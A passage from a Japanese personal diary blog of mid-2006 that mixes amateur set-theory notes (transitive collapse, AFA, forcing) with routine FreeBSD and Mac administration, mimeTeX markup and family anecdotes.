それからいよいよメール送信の 25番ポートの廃止が近いそうな。こちらに関しては、ネットワーク透過性に関し、プロバイダーの方に色々文句はあるのですが、POP before SMTP の様なプロトコルが廃止されることには異存ありません(でもポートとは関係ないじゃん)。
SMTP AUTH over PORT 587 に関し事前に手を打ったのは成功だったのかも知れません。

2006年6月28日(水)

バグじゃ～
明日納品のプログラムなのに。今晩は泊まり。
(朝三時) やっと解決。
実は私も間違えた
Y.Kumagaiさんが MacBook をお買い上げになられたそうで、これから色々とねたを楽しみにしております。それはそうとFireFox のインストールではまられたとのこと。実は私もはまりました(笑)。
マウントした仮想ディスクの中のアプリケーションを直接実行したら動いたのです。そこで、これでよいのだ！とまぬけなことを考えて、さらにそのイメージを Dock へドラッグして登録したという。
もちろん再起動後仮想ディスクは消えてしまい、アプリケーションを実行出来なくなったのです。Dock にアイコンは残っているのに。さらに、これは何かの手違いかと思い、同じことを三回位繰り返したという大まぬけさです。 /Applications/ もしくは /Users/kagami/Applications/ にコピーする必要を認識するまでかなりの時間を要しました。
ところで本日 Tiger のアップデートがあったようです。
Bluetooth ファイル転送、Bluetooth マウスの登録と接続、携帯電話との同期
という項目があったので、もしかして WX310K 切断時のハングアップが修正されているかと期待したのですが、実験したところ状況に変化はないようです。早くなんとかしてくれないもんですかねえ。
＃ Bluetooth での WX310K との接続はだましだまし使っています。

2006年6月27日(火)

お礼二題
くるるさんへ。さっそく分かりやすい例を教えて頂きありたとうございます。超巾(ultrapower)に関してこれを機会に勉強してみます。
$U$ の可算完備性を仮定しないと $V^{\kappa}/U$ の中では $\mathrm{ZFC}$ が成立しているが、 $V$ から見ると $\varepsilon$ に関する無限降下が存在する場合がありうる。
分からない...。可測基数がらみできちんと勉強して出直してきます。
(2006年6月28日追記) 分かったような気が。埋め込みと $V$ のサブクラスと考えるのでは解釈が変わるから？
酒井さんへ。論文を紹介して頂きありがとうございます。さっそくダウンロードしました。流し読みでは全く手が出ないので、一度印刷してきちんと読んでみます。

2006年6月26日(月)

久々の make world
本日の朝、FreeBSD-usrs-jp に日本語化された大量のセキュリティー勧告が流れてきました。普段ですと自宅サーバーに必要なパッチをあてるだけで済ますのですが、今日は量が多いので kernel, userland を一気に更新です。
```
(cvs から最新のソースを持ってくる)
# (rm -fr /usr/obj/* && make clean && make buildworld &&
    make kernel KERNCONF=KAGAMI) >/tmp/make.log 2>&1 &
# reboot
...
# make installworld
# reboot
```
一月程前に一度死にかけた自宅サーバーなので、余り負荷を与えたくはないのですが、どうやら無事に完了したようです。実は蓋のところに障害物を挟んで若干でも放熱を良くしようとは試みているのです。
Mac mini 自宅サーバーですか？
いや！あれ以来問題なく動作しているので、手をつけていません。いざというときのために準備しとかないといけないのですが、動いていると面倒で(笑)。危機管理能力ゼロです。

2006年6月25日(日)

Re: 推移的崩壊とAFA
改めて始めまして＞酒井さん
酒井さんの日記は以前から楽しく読ませて頂いておりました。
最近AFAがらみの話が聞こえていたので、思わず「これって推移的崩壊のことじゃないの」と思い、断定的なことを書いてしまいました。なるほど、数学というのは色々な方面で類似のアイディアが考えだされることが多いので、確かに圏論の方からのアイディアということもありえるのかも知れません。
等号に関しても、AFAに関して本当ににわか勉強なので、全然直感が働かなく、必要以上に難しく感じるのかも知れません。
ところで誠に申し訳けないのですが、圏論はまともに勉強したことがなく、酒井さんが説明して下さった部分は、言葉の意味も分かりません。それならば勉強すれば良いとは思うのですが、集合論で手一杯なのでなかなか難しいところです。今はすべて忘却の彼方ですが、学生時代は可換環論で遊んでいました。圏の定義とテンサー積やファイバー積の普遍性(というのでしたっけ) 程度は昔かじったことがあるので、coalgebra や final coalgebra について、私のような知識がない人でも感じが分かるように教えて頂けるとうれしいのですが。でも Tor や Ext が挫折の始まりだったので分からないかも。
あと正則の公理に関してですが、こちらは考えがまとまったら、自分としての意見をきちんと書きたいところです。でも今書くと炎上しそうで(笑)。
ただし一つだけ言えることは、
選択公理と正則の公理がない「集合論」では何が正しいのか全く分からなくなっている。
というのが私の現状です。正則の公理がない「集合論」ってイメージがわかないのです。
色々勝手なことを書きましたが、今後ともよろしくお願い致します。
(P.S) そうそう、こんどくるるさんが推移的崩壊について色々教えて下さるそうです。とても楽しみにしております。とプレッシャーをかけておく(笑)。

2006年6月24日(土)

推移的崩壊とAFA
集合論雑記目次
酒井さん(始めまして)からつっこみがあったようですので、推移的崩壊とAFA についてぼろぼろ覚悟で思ったことを。
まずクラス $T$ が推移的であるとは $x\in{X}\in{T}~\rightarrow~x\in{T}$ が成立することです。要素の要素はまた要素ということで、この性質を持たないと、特にいくつかの論理式のモデルと考える場合とても扱いにくいのです。順序数や $V_\alpha$ は推移的です。
さっそく推移的崩壊なのですが、お察しの通り Mostowski's collapsing のことです。ただし単に「推移的崩壊」と呼ぶ場合次の特別(でも一番有用)な場合を指すのだと思います。正則の公理を使えば次の定理が証明出来ます。
(推移的崩壊)
$M$ をクラスとして、 $M$ で外延性の公理が成立すると仮定する。このとき推移的なクラス $T$ と $\in$ に関する同型 $\pi\,:\,~M~\rightarrow~T$ が存在する。このような $\pi,T$ はただ一つ定まる。
$\pi(x)~=~\{\pi(z)~|~z\in{x}}$ と $\in$ -induction で定義すれば良いのです。一般の Mostowski's collapsing lemma は次の形式です。まずいくつかの定義。 $R$ をクラス $M$ 上の関係とします。
(1) $N\subset{M}$ とし $x\in{N}$ が $R$ に関する $N$ での極小元とは $z~R~x$ を満たす $z\in{N}$ が存在しないこと。
(2) $R$ が well founded $\leftrightarrow$ 任意の $N\subset{M}$ に対し $N$ は $R$ に関する極小元を持つ。
(3) $R$ が集合的 $\leftrightarrow$ 任意の $x\in{M}$ に対し $\{z\,:\,~z~R~x\}$ は集合。
(4) $R$ が外延的 $\leftrightarrow~\forall{x,y\in{M}}(\forall{z\in{M}}({z}R{x}\leftrightarrow~{z}R{y})\rightarrow~x=y)$

(Mostowski's collapsing lemma)
$M,R$ が (2)(3)(4)を満たすとき、推移的崩壊と同様の事実が成立する。正則の公理は必要ない(*)。もちろん $\in$ を $R$ で置き換えて。
いすれにしても「推移的崩壊 = Mostowski's collapsing」と考えて特に問題ないと思います。さらに、推移的崩壊の証明を見ると、正則の公理べったりであることが分かります。で、これが何の役に立つかと言いますと、例えばスコーレム関数を使い、論理式達のモデル $M$ を作ったとき、 $M$ の cardinal は上から押さえることが出来ても、rank はどの位の大きさになるか分かりにくい場合が多いのです。 $M$ の中身がすかすかという感じでしょうか。この場合 $M$ の推移的崩壊を考えることにより $M$ の構造を保ち rank を押しつぶすことが可能となり、モデルのもつ「情報量」 (あんまり良い言葉でないかも)を評価しやすくなるのです。さらに推移的になるというご利益もあるし。勉強不足で具体例は余り知らないのですが、いたる所で使われるテクニックらしい(**)。
いよいよしどろもどろになりそうな「 $\mathrm{ZFC}-$ 正則性の公理」での AFA について。 $E$ を集合とし $R$ を $E$ 上の関係とするとき、 $(E,R)$ を graph と呼びます。さらに $p\in{E}$ を固定したとき $(E,R,p)$ を pointed graph と呼びます。
次の条件を満たす $\pi$ を $(E,R)$ もしくは $(E,R,p)$ の decoration と称します。
(1) $\mathrm{dom}(\pi)=E$
(2) $\pi(x)~=~\{\pi(z)~\,:\,~z~R~x\}\quad\quad~x~\in{E}$
Pointed graph $(E,R,p)$ を考えている場合 $\pi(p)$ を decoration の値と呼びます。
(AFA)
任意の graph $(E,R)$ はただ一つの deccoration を持つ。
例えば $E=\{x\},~R=\{(x,x)\}$ とし $(E,R)$ の decoration を考えると $X=\{X\}$ を満たす集合がただ一つ存在することが証明出来ます。さらに二つの pointed graph に対しbisimulation なる概念を定義することが可能で、それを $(E,R,p)\simeq(F,S,q)$ と記述すると、
$E=F~\leftrightarrow~(tc(\{E\}),\in,E)\simeq~(tc(\{F\}),\in,F)$
ここで $tc(X)$ は $X$ の推移的閉包であり、おおざっぱな表現で恐縮ですが、推移的崩壊を「押しつぶした」ものと考えると、 $tc(X)$ は $X$ に穴埋めして推移的にした感じの集合です(いいかげん)。正確な定義はむかしこちらに書きました。
いかがでしょうか。個人的には AFA で最も重要な概念である decoration のアイディアは、正則の公理と推移的崩壊の概念がなければまず生まれなかったと思うのです。もちろんそれが悪いという訳ではないのですが、最後の例で分かるように、等号の検証が難しすぎると思います(***)。等号の検証に「外延性の公理」を使いにくいことに関する個人的な不満は次回ということで。
(*) 正則の公理は必要ないと書きましたが、 $R$ が正則の公理の代役を果たしているだけです。
(**) $V=L~\rightarrow~\mathrm{GCH}$ の証明とか。
(***) もちろん rank が定義出来ないのが最大の問題です。この辺りは関連していると思われるので、次回再度記述します。
参考文献は集合論雑記に記載されているものです。特に AFA に関しては Thomas J. Jech,Karel Hrbacek著 Introduction to Set Theory を参考にしました。

2006年6月23日(金)

出会い
社内に三次元CADの専門家の M さんという人がいるのです。先日実際に操作を見せてもらったところ、もう神業としか思えない腕前。幾何学的直感がない私には絶対に無理な世界です。
そこで、「三次元でさえこんなに難しいのだから、四次元人のCADはさぞかし大変でしょうね。」とつっこんだところ、M さん曰く。
四次元だとCADが難しくなる以前に人と人が出会えなくなりますよ。
なるほど！確かに次元が増えると「見る」方向の増加が大きくなり「出会い」の機会が激減しそうです。その後 M さんは、四次元における「眼」は(3次元) 超平面になりそうだが、そうすると全体の角度が膨大になり周りを全部見るのはほとんど不可能、とさすが n 次元回転群の専門家らしく、とても分かりやすく説明して下さったのです。
そのとき考えついたのが、無限次元の場合方向が無限にあるので、「出会い」はほぼ確実に無理そうということで、さらにこの事実は「無限次元位相線形空間の場合、(仮に完備でも)局所コンパクトではない。」という事実に対応していそうな感じがすることです。要するに有界な無限点列でも集積点を持たない場合が多いという。←すごくいいかげんです。
さらに、もし我々の空間が無理数のみ( $\mathcal{N}~\simeq~\omega^\omega$ )で構成されていたら、何回積をとっても同相なので、次元が増えても(増えようがないか)問題が発生せず、とても快適なのではと思ったのですが、当然ながらこんな考えは却下というか、そんなところに住みたくないです(笑)。
＃ $\mathcal{N}~\simeq~\omega^\omega$ モデルの宇宙論とか誰か言い出したら面白そう。整合性があればなんでもありの世界らしいので。←こちらもいいかげんです。

2006年6月21日(水)

はてなリング数学の輪
最近勝手に「はてなダイアリー」の数学関連ブログをお邪魔することが多いのです。さらに「はてなリング数学の輪」というものがあり、RSSを使えば外部の URL も指定出来るらしいのです。そこで、ちと厚かましい感じもしないではなかったのですが、こちらに参加させて頂くことにしました。
まず ID が必要ということで登録を行ったのでが、なかなか良い名前が残ってないのです。kagami はすでに使用済みで、evariste というのは使えるのですが、ここのドメイン名のことはおいといてさすがにちょっと(*)。aleph2 なんていうのも個人的には悪くないと思うのですが、日本の現状を考えると誤解される恐れがあります。結局 ordinal というのが余っていたので(cardinal は使用済み)、この名前で登録しました。
さらに管理人さんの承認が必要ということで、お願いの手続きをしたところ、ありがたくも承認を頂けたのです。どうもありがとうございます＞ Red cat 様。
(*) ある人から聞いたのですが、こちらのドメイン名は「数学関連の人たち」の間で膠着状態になっていたそうなのです。それを横から素人がとっちゃったのでかなりひんしゅくものだったそうな。早い者勝ちということでご容赦の程を。

2006年6月20日(火)

巨大基数の集合論(The Higher Infinite)
A.カナモリ著渕野昌訳「巨大基数の集合論」
集合論雑記目次の参考文献にも記載しましたが、集合論の研究者の方や集合論好きの人には有名な本だと思います。残念ながら日本語訳は現在入手が難しい状態なのかも知れませんが、原著は比較的簡単に入手可能なようです。この本を偶然本屋さんで見たのが 6年程前でしょうか。学生時代に Zorn の補題あたりまでですが、公理的に集合論を勉強したことも少しはあり、さらにゲーデルの不完全性定理に関しても、10年程前に前原先生の本で一通り勉強したことがあるので、「少しは分かるであろう」と考え、思わず購入したのです。
ところが、購入した数学の本で「本棚の飾り」になっているのは沢山あるのですが、この本に関しては最初から全く分からななかったのです。今まで購入した数学の本で一番分からなかった。
それでもこの本は、原著もそうなのでしょうが、日本語訳が素晴らしく、分からないなりになんとも言えぬ魅力を感じたのです。
私は物理学は全く分からないのですが、宇宙論の話を(一般向けに)分かりやすく解説した本は大好きで、割と良く読むのです。もちろん「巨大基数の集合論」は一般向けではないのですが、専門書としては読み物風で、さらに極めて明快な叙述により、集合論の歴史、重要な結果、重要なテーマ、将来の展望について、きちんとした証明付きでとても分かりやすく説明してあるのです。宇宙論の解説書を読む「のり」で、全然分からないなりに何度も読みました(*)。こういう場合日本語訳はとても助かります。
ところで、先日また読み直してみたところ、細かいところは未だ難しい(というか理解しようとしていない)のですが、少なくとも言葉や記号に関して驚かないですむようになって来たようです。要するに慣れてきたのです。さらにL や forcing で使われている概念というかテクニックはやはり重要らしく、この辺りの理解が進み、さらに運が良ければ、実数の種々の性質、可測基数、 0^#の概念等の理解に関して、射程距離に入れることも不可能ではない感じがしてきました(**)。
もちろん今でも初歩的な段階で、同じところを何度も読まないと理解出来ない部分も多く、さらにどんどん忘れていくので何とも言えないのですが、L に関連してモデル理論の初歩的な部分を勉強したのは、とても有用だったと思います。予定としては(あくまでも予定！)あと二年くらい体力をつけて、面白そうなトピックを楽しめるようになれば、とても幸せだと考えています。
「巨大基数の集合論」は私のような素人でも楽しめ、さらに非常に深い内容について証明付きできちんと記述されている素晴らしい本です。数学好きな方は、ぜひ一度読んで頂ければと思います。さらに本編には続編の予定があると記載されています。これほどの内容の本をさらに発展させることの大変さは分かるのですが、ぜひ出版して頂きたいと思います。
(*) 分からないのに分かりやすいというのは矛盾のようですが、それだけこの本が素晴らしいということです。
(**) 素人考えなのでかなり甘いかも知れません。

2006年6月19日(月)

お誕生ケーキ
先週の金曜日がモカちゃんのお誕生日だったのですが、本人・奥さま・私いずれも所用がありまして、結局本日ケーキを食べたのです。おいしかった。
「強制法入門」修正
[集合論雑記目次]
6月8日にアップした強制法入門(forcing-1.0.pdf)ですが、とんでもない誤りがありました。
16ページの「反映の原理」の説明で「公理」と記述すべき部分が「論理式」となっていました。
集合論雑記に修正した版を再度アップしました。

2006年6月18日(日)

謎の検索
数日前よりYahoo!から「帰納法*おととい法」という文字列による検索があるのです。実際に検索してみると、なるほど！たしかに一番くじです。それよりも謎なのは「帰納法」はともかくとして、「おととい法」ってなんなのだろう(笑)
そもそもこんなへんてこな検索が一カ所から来るならばともかく、十箇所位からぽつらぽつらと来るのが不思議なのです。いったいどうしたのだろう。謎ですな。
そかっ！「きのう」だから「おととい」なのね(笑)。でもどうしてこんなのがたくさん。やっぱり謎。
(おまけ・おととい法)
$(P(0)~\wedge~\forall{n\in\omega}(P(n)\rightarrow~P(n+2)))~\rightarrow~\forall{n\in\omega}(P(2n))$

2006年6月16日(金)

モカちゃんのお誕生日
今日はモカちゃん13歳のお誕生日です。中間テストも今日で終了なので、一段落というところでしょうか。テストはかなり苦戦している模様。数学以外は塾に行ってないので、「点数の取り方」に慣れていない感じがします。例えば 100点を「取りに行く」と結果的に 90点くらいとれる場合が多いとか。成績が内申書に反映するのは二年生の二学期からなので、こちらは徐々に慣れれば良いと思います。
余談ですが昨年のお誕生日にプレゼントした iPod shuffle は一月前に行方不明になったそうです。仕方がないので「今年も同じようなのが欲しい？」と聞いたのですが、「パパ！それは甘過ぎ」と逆に怒られてしまいました。怒んなくてもいいじゃん！(笑)。

2006年6月15日(木)

LとGCHに関するひとりごと
[集合論雑記目次]
P.Cohen の「連続体仮説」からやや表現を変更しての引用。
$V=L~\rightarrow~\mathrm{GCH}$ はゲーデルの証明のうち技術的に最も難所であり...
そして定理の核心。
$X\in{L_\alpha},~Y\in{L},Y\subset{X}$ のとき $|\beta|=|\alpha|$ を満たす $\beta$ が存在し $Y\in{L_\beta}$
やっぱりこれって難しかったのか...。反映の原理、推移的崩壊、圧縮レンマを使い切った証明が、Jech の本に記載されているのですが、いまいち直感的に理解しにくかったのです。
Cohen の本は、この辺りの説明が具体的でとても分かりやすいのです。正直 Cohen 本の肝心なところである強制(forcing)の部分はへこみますが、完全性定理・不完全性定理そして $L$ に関して非常に分かりやすく説明されています。少々高かったのですが、購入したのは単に記念品という以上に成功だったようです。

2006年6月14日(水)

元気になったしらたまちゃん
実は昨年のお正月おうちの一員となったしらたまちゃんがここ二ヶ月位元気がなかったのです。ハムスターの寿命は大体二年なので、そろそろ動きがとろくなってくるのは分かるのですが、ひまわりの種を全然食べなくなってしまったのです。ハムスターなのに固いのを食べれなくなるとはかなりまずい状況なのでは、と思いつつ、最近はなるべく柔らかいエサを与えていたのです。
ところがまたひまわりの種を食べられるようになってきたのです。おそらく歯が折れてしまうかして、しばらくの間固いものを食べられなかったと思うのですが、さすがにそこは齧歯類！ちゃんと新しいのが生えてきたようです。ここは頑張って、なんとかあと一年くらい生きて欲しいものです。
写真はモカちゃんにお願いして、しばらく持ってもらい撮ったものなのですが、完全に失敗しています(笑)。「お願いもう一枚」と頼んだのですが、「もう面倒だからいや！」と言われ、これ以上撮影不可能となったのです。
モカちゃん中間テスト始まる
モカちゃんは今日から中間テストです。初日から数学があったのですが、なんと一問分からなかったそうな。次のような問題です。
2⁴ の 4 の部分をなんと呼ぶでしょうか(笑)。
もちろん答えは「指数」なのですが、どうでも良い問題にはまったようです。今の中学生は内申書の点数が高校入試に反映されるので大変です。一発勝負の方が普段楽だし、そもそも本当の実力が分かると思うのですが、一般には「一回のテスト」で合否を決定することは宜しくないという考えが主流のようです。
高校入試での内申書採用、大学入試での共通一次・センター試験が存在しなかった世代としては、今の中高校生は昔よりはるかに大変だと思うのですが、自分の普段の成績が宜しくなかったのでそう感じるだけなのかも知れません。
余談ですが、明日は社会のテストがあるいうことで、「地球一周は約四万キロメートル」と暗記していました。そこで「ちがうの。一周四万キロになるように一メートルを定義したの」とつっこみをいれたところ、「混乱するから余計なこと言わないで！」と怒られてしまいました(笑)。
どうせなら一周三万六千キロメートルになるようにメートルを定義すれば緯度の計算が楽だったのに。

2006年6月13日(火)

こんなところにも
区体論の作者って物理でもとんでもだったのか...。自分のホームページで持論を展開することに関し、特に問題があるとは思えないと書きましたが、Wikipedia で持論を展開しているならば本当に困ったものです。今のところ集合論関連は大丈夫そうですが、もし荒らされる事態に陥った場合はなんとかしないと。
続・ピタゴラスの定理
今日は何も考えないで思ったことを書いていますので、適当に読み飛ばして頂ければと思います。
数学を専攻したことがない人たちが、初等数論に関する内容と思われる議論している場合、おおざっぱに PA の世界での話と解釈可能で、あまりつっこみどころはないのです。
ところが初等幾何の議論が行われている場合、なんでもかんでも公理的に扱えば良いとは思っていませんが、図形的直感に頼り過ぎで、数学というより物理学の議論を行っているように感じ、「そりゃ物理なんじゃないの？」とつっこみたくなる場合もあるのです。いわゆる小学生や中学生の「応用問題」も物理に近いし。
その観点で考えると、例えばヒルベルトによる初等幾何公理系を持ち出すと (もちろんそういう意味ではないと思いますが)、計量を入れたヴェクトル空間よりもさらに分かりにくい状況を招きそうな気がします。いや！ヒルベルトの公理系って知らないんですが(恥)。
もちろん初等数学において、物理的直感や図形的な直感を取り入れた教育を行うことに関し、何ら異論はありません。
ところでフェルマーの定理って PA で「証明不可能」である可能性もある(本当？) と思うのですが、誰か証明してくれないでしょうか(笑)。本当はどちらなのだろう？
Axiom of regularity に関してもちょっと書きたいことありなのですが、ぼろぼろになりそうなので今度機会があったら...。ただし、AFA を認める立場で Axiom of regularity が adhoc であるという批判は成り立たないと思います(もちろん nuc さんが AFA を認めないというなら話は別ですが)。明らかに AFA の方が adhoc だと思うし、そもそも Axiom of regularity からのアイディアと思われる「推移的崩壊」をちゃっかり借用してるし。

2006年6月10日(土)

可算全順序集合
任意の可算全順序集合が有理数体に埋め込まれることは、知識としては知っていました。実数体については何が言えるかと一瞬考えましたが、c.c.c を満たすことにより全く拡張できず少々残念(安心？)でした。
$\bigcap{\emptyset}=V$ についてはご指摘を受けると予想していました。コンテキスト依存ということでご容赦お願い致します。

2006年6月9日(金)

MacBook Pro 購入計画再考
Intel CPU 搭載の MacBook Pro が発売されて半年くらい経過しました。今までの計画としては、今年の終わり頃現在使用中の PowerBook購入後二年程経過するので、それを機に買い替える予定だったのです。ですが、たった二年で買い替えるのもなんかもったいなくなってきました。
そもそも今使っている PowerBook に関して何の不満もないのです。最低でも三年間くらい使いたい気分になってきました(笑)。
今年購入したかった理由としては、もちろん新しいのが欲しいということもあるのですが、来年以降ますます教育費が増大し、今年を逃すと今後数年間購入が不可能となる可能性が強いと思われるからなのです。そこで奥さまに相談したところ、「ボーナスごとに 10万円位ためておけば、来年の末以降に最強の Macノートを買えるじゃない。もし今使っているのが壊れてしまったらそのとき考えれば良いし。」ということなのです。
ふむふむ、言われてみると確かにその通りです。さらに現在私使っているアプリケーションは下記のもの以外思いつきません。
- 端末
- emacs
- ブラウザ(Safari)
- メーラー(Mew)
- LaTeX (TeXShop) (すべての文書作成)
- OmniOutliner (スケデュール管理・会議録・防忘録等)
- OmniGraffle (LaTeX に張り付ける図を作成)
- 一般の UNIX のコマンド(gcc, ssh, awk とか)
- その他 Apple 純正おまけプログラム(Preview, iTunesとか)
すべてユニバーサールバイナリー化が完了しているので、Intel に変更するメリットはあると思うのですが、いずれも現在遅くて困っている訳ではないのです。しいて言えばメモリー(768MB搭載)が足りなくなりスワップが発生し、しばらく動作が緩慢になる場合があるのですが、こちらも頻発する訳ではなく、大問題というほどではありません(*)。場合によってはこちらは 512M のメモリーを 1G に入れ替え 1.25G マシンにすれば良いし。60G のハードディスクがまんたんになってきたら、こちらも交換すれば良いし。
そもそも MacBook という名前より PowerBook という名前の方がかっこいいではないか(笑)
というわけで愛しの PowerBook を極力長期間可愛がることに決めました。これ以上無理という状態になったら、その時点で「最強の MacBook Pro」を購入し大いにじまんすることにします(^^。
(*) 例えば TeXShop 3つ, PreView 6つ, Terminal 8つ(emacs 4つ), OmniOutliner, OmniGraffle を起動したような極端な状況で発生します。こんなにたくさんプロセスがいても、その時点で使用しているプロセスは少数なので、スワップによる停滞は一時的なものです。要するに実害なんてないのです。

2006年6月8日(木)

強制法入門再アップ
先月アップした「強制法入門」ですが、何人かの方が、色々な誤り、適切な記述方法等を教えて下さりました。どうもありがとうございます。誤りを指摘して頂いた後しばらくリンク切れにしておきましたが、ご指摘を頂き、私自身が認識している問題点に関しては解消出来たと考えますので、再度アップ致します。
http://evariste.jp/kagami/diary/0000/forcing-1.0.pdf
http://evariste.jp/kagami/diary/0000/forcing-1.0.tex
前回アップした時点でかなり慎重にチェックしたつもりでしたが、論理的な勘違い、あいまいな表現等はもちろん、いくつかの根本的な問題もあり、お恥ずかしい限りです。今後も徐々に改良を重ねてゆく予定ですので、今回のヴァージョンを 1.0 とします。
貴重なコメントを頂いた方に感謝致します。また前回改変等自由と記載しましたが、今回以降の版に関しては、指導して下さった方のお力添えがあり完成したものであり、自分一人で書ききったものとは思っていません。
従って
再配布等は自由としますが、改変に関してはご遠慮ください。
これは著作権を主張するという意味ではなく、良識的に扱って頂きたいという意味です。もちろん内容に関して私自身が全責任を負うことは言うまでもありません。

2006年6月7日(水)

弥永昌吉先生死去
一日に亡くなられたそうです。日本の数学に多大な足跡を残されました。つつしんでご冥福をお祈り致します。

2006年6月6日(火)

ピタゴラスの定理
なにやら会社でピタゴラスの定理の証明法を話している人がいたのです。色々図形が書いてあるところに、よせば良いのに「そんなの図を書かなくても簡単！」と首をつっこんでしまいました。
$E$ を線型空間とし、その上に対称双線型形式 $(x,y)~\rightarrow~(~x~\mid~y~)$ が定義されているとする。 $x,y\in{E}$ が直交するのは定義により $(~x~\mid~y~)~=~(y~\mid~x~)~=~0$ ということなので $\parallel~x~+~y~\parallel^2~~=(~x~+~y~\mid~x~+~y~)~~=(~x~\mid~x~)~+~(~x~\mid~y~)~+~(y~\mid~x)~+~(~y~\mid~y~)~=~\parallel~x~\parallel^2~+~\parallel~y~\parallel^2$
一気に座がしらけました(笑)。元代数屋の発想はとても評判が悪いようです。
仕方ないので「これだと一般次元それも無限次元とかでも使えるし、そもそも皆さん得意なフーリエ変換はこういう世界で行われていると思うのですが」と言い訳けしたのですが、状況は悪化するばかりなのです。話を聞くと、例えば $L^2$ -空間での直交性に関し上の事実は分からないではないが、それを「ピタゴラスの定理」と呼ぶのはどんなもんかいな、という意見が多かったのです。
うーむ「ピラゴラスの定理」と呼ぶしかないと思うのですが、そもそもみんなが図形で楽しんでいるところに、つまらないちょっかいを出したのが失敗だったようです。
もちろん集合の話は御法度で、運が良いと $|\mathbb{N}|~=~|\mathbb{Q}|~<~|\mathbb{R}|$ を知っている人はいるのですが、Zornの補題は元数学屋さん以外全滅です。これは仕方ないです。私の学生時代の代数の先生(出来の悪い学生ですみません...) が「論理や集合という土台からきちんと推論を行うために数学教室に来るようなものだから」という意味のことをおっしゃっていましたから。
余談ですが、数学者を目指して勉強したこともありますから、「図での証明」を信用しないことはもちろんです。ただし現在のノートを見ると、あちらこちらに「ベン図」・「V」や「Tree」等、意味不明な図が書いてあるのは事実です。さすがに「ベン図」を書くのは恥ずかしい気もしないではないのですが、 $X\not\subset{Y},\,x\not\le{y}$ 等が出てくると書かざるおえない状況に陥る確率が非常に高いのです。

2006年6月5日(月)

モカちゃん合宿に行く
今日からモカちゃんは二泊三日で合宿です。

2006年6月3日(土)

mimeTeXヴァージョンアップ
久々に自宅サーバーの mimeTeX をヴァージョンアップしました。個人的には $\check$ を使えるようになったのが一番うれしいところです。いままで仕方なく $\tilde$ で代用していたのでこんな感じだったのです。
$A_\alpha~=~\{~\beta\in{B}~\,:\,~\exists{q\le{p}}~(q||-\dot{f}(\tilde{\alpha})=\tilde{\beta})\}$
これからはちゃんとこういう風に表示可能となりました。
$A_\alpha~=~\{~\beta\in{B}~\,:\,~\exists{q\le{p}}~(q||-\dot{f}(\check{\alpha})=\check{\beta})\}$
自宅サーバーで mimeTeX での記述を行う場合、さすがに CGI 生書きは大変すぎるので、例えば上の例ですと
```
<mimetex>
A_\alpha = \{ \beta\in{B} \,:\, \exists{q\le{p}}
 (q||-f(\check{\alpha})=\check{\beta}) \}
</mimetex>
```
という感じに書いておくと、アップロード時に自動的に下記のように変換されるようになっているのです。ただし変換プログラムがとっても手抜きなので、 <mimetex> </mimetex> が行頭にないと動作しないのが最大の難点です。もちろん直せば良いのですが、そこそこ使えるようになると面倒で...。
```
<img src="./mimetex-gif.cgi?A_\alpha~=~\{~\beta\in{B}~\,:\,
~\exists{q\le{p}}~(q||-\dot{f}(\check{\alpha})=\check{\beta})\}"
width="272" height="24" align="middle" class="middle">
```
$\vdash$ は使えるようですが $\Vdash$, $\vDash$ を使えないのがちょっと残念です。こちらも表示したいフォントを TeX ライブラリーから持ってきてテーブルを作成する手法が記述されているのですが、さらに面倒そうなのと、 TeX のフォント名称の規則を全然知らないので手の付けようがないというのが本当のところです。もちろん標準版から逸脱すると保守が面倒になるのも真面目に考えない理由の一つです(と言い訳けをする)。

2006年6月2日(金)

WX310Kファームウエアーヴァージョンアップ
先月の終わり頃 WX310K のファームウエアーが更新されたようです。更新内容は京セラのこちらのページの通りです。私に関係がありそうなのは、「パケット通信の品質向上を行いました。」の部分ですが、おそらく体感するほどの変化はないと思います。ただし、最新のファームを導入しておくのは悪いことではないので、さっそくダウンロード(パケット通信、それも IIJmio の方から直接可能)して自動インストールを行いました。
不思議なのは、ダウンロード自体は一分程度で終了するのに、その後の導入処理に二十分程度の時間が必要なことです。中で何をやっているのだろう。色々チェックとか行っているのかも知れません。まさかソースをダウンロードして全部コンパイルし直しているなんて、さすがにそんなことはないですよねえ(笑)。
余談ですが、WX310K 最大の機能であると思われる「リセットボタン」を未だ使う機会がありません。せっかく機能が増えたのに...。もちろん喜ぶべきことなのでしょうが(^^。

2006年6月1日(木)

関数について
5月27日の「関数ってなあに」に対する自己フォローです。
関数概念を例えば中学生に教えることに関し、色々ご意見ありがとうございました。自分としては数学的なきちんとした定義が一番分かりやすいのですが、数学での厳密な定義というのは一般の人から見てもかなり意味不明な内容でしょうから、なおさら普通の中学生にとっては不適当であると思います。モカちゃんに教えた時は余り真面目には考えていなかったのですが、「値が確定する」点と「外延として表現できる」(従って『もの』という言葉を強調したが集合を使えないので外延との関連付けは苦しい)点に関してははずせない様な気がしたのです。
ただし中学生にとって、抽象的な概念を一つの「もの」と考えるのは非常に難しいらしく、そのあたりが一番分かりにくかったようです。
関数を教える場合に「規則である」とか「約束事である」という点をどうするべきかに関しても、色々ご意見を頂きました。個人的には中学生に教える場合、具体的な「規則」や「約束事」を実例として列挙し、それらに関し徐々に慣れていくのが自然だと思います。そういう意味では足し算やかけ算が良い例であると思い、ただし普通に表現すると二変数となり分かりにくそうなので、片方の変数を固定した具体例についていくつが列挙したのです。
「規則」よりさらに問題ありですが、少なくとも始めの段階では、y = 2x + 1 や y = x² とか「y は x に色々な値を代入すると値が確定する」ので「y は x の関数」あたりが落としどころでしょうか。このような状況で定義域や値域を明確にせず、さらに束縛されていない x とか y を使うのは余り好きではないのですが、自分の好み、それももっと上の年齢になってからの知識を子供に押し付けても良い結果は得られそうにありません。
結局あのとき以来放置しています(笑)。さすがに永久に関数概念を理解出来ないということもないと思いますので、その辺りは全く心配していません。そもそもパパの数学の説明はすぐ訳の分からない話になると評判がよろしくないのです。高校生くらいになって分かってくれるようになるといいな。
余談ですが、気軽に「図形に対する面積」などという例を説明しましたが、後で考えてみると恐ろしすぎる例でした(笑)。
Joe さんには別の場所で関数を説明する非常に分かりやすい表現方法を教えて頂きました。
くるるさんのコメントは、レヴェルは全く異なりますが、同様な悩みをお持ちであることが楽しかったです。とても参考にさせて頂きました。
Y.Kumagaiさんの記事でのジュースの例は昔習ったような気がします。なんか当時は意味不明だったような気が。あまり良い例ではないのかも知れませんね。実は「ブラックボックス」というのも習ったのですが、こちらも良くわからなかったです。そもそも自分がきちんとした定義を学習する前に、どのような過程で関数概念に慣れていったか思い出せないのです。やっぱり微積分なのかな。貴重なご意見ありがとうございます。
すみませんちっともまとまらなくて。

2006年5月31日(水)

隠れとんでも
